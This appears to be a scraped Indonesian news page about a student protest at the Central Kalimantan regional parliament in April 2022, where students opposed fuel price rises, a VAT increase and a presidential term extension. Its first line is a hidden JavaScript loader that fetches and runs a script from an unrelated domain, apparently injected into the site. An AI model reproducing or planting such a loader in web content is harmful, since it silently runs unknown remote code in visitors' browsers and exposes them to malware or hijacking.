(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Palangkaraya

Cipayung Plus Palangkaraya Aksi Demo di DPRD Kalteng


KANALKALIMANTAN.COM, PALANGKARAYA – Puluhan mahasiswa dari berbagai perguruan tinggi yang tergabung dalam Cipayung Plus Palangkaraya menggelar aksi demonstrasi di depan kantor DPRD Kalteng, Senin (11/4/2022).

Mereka mengenakan atribut kemahasiswaan disertai spanduk berjalan kaki dari sekretariat KONI Kalteng menuju kantor DPRD Kalteng.
Terlihat puluhan personil dari kepolisian dan TNI telah bersiaga mengamankan jalannya aksi demo tersebut.

Di depan kantor DPRD Kalteng, mereka menyampaikan aspirasi atas kebijakan pemerintah yang dinilai tidak pro rakyat.

Korlap aksi mahasiswa, William Chandra menyampaikan sejumlah kebijakan yang ditentang dalam demontrasi tersebut, berupa kenaikan harga BBM, naiknya pajak pertambahan nilai (PPN), kenaikan bahan pokok, hingga wacana perpanjangan masa jabatan presiden.

Baca juga  : PAN Ubah Haluan, Getol Tunda Pemilu Berbalik Tak Lagi Setuju

Mahasiswa Cipayung Plus Palangkaraya mendesak dan menuntut DPRD Provinsi Kalteng menyampaikan dan menyatakan sikap untuk menolak terhadap wacana penundaan pemilu dan perpanjangan masa jabatan presiden menjadi tiga periode kepada pemerintah pusat, MPR dan DPR RI.

“Menuntut DPRD agar mendesak pemerintah daerah untuk segera mengusut tuntas mengenai kelangkaan minyak goreng dan kenaikan harga bahan pokok lainnya,” tegas William Chandra.

Kemudian menuntut DPR RI agar mendesak Menteri SDM segera menurunkan harga
dan mensubsidi BBM ke masyarakat Indonesia.
“ Kami juga menuntut perwakilan DPR RI dari dapil Kalteng untuk menyuarakan aspirasi masyarakat terhadap janji kampanye presiden dan wakil presiden,” sebutnya.

Demo mahasiswa di Kota Palangkaraya juga menolak kebijakan pemerintah pusat terkait kenaikan PPN 11 persen. Mendesak DPR RI untuk segera membahas dan mengesahkan RUU masyarakat hukum adat.

“Meminta dan mendesak pemerintah pusat dan daerah untuk segera menyelesaikan Konflik Agraria di Kalimantan Tengah,” pungkas koorlap aksi demo di depan DPRD Kalteng. (Kanalkalimantan.com/tri)

Reporter : tri
Editor : bie


Desy Arfianty

Recent Posts

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

38 menit ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

3 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

4 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

8 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

9 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

9 jam ago

This website uses cookies.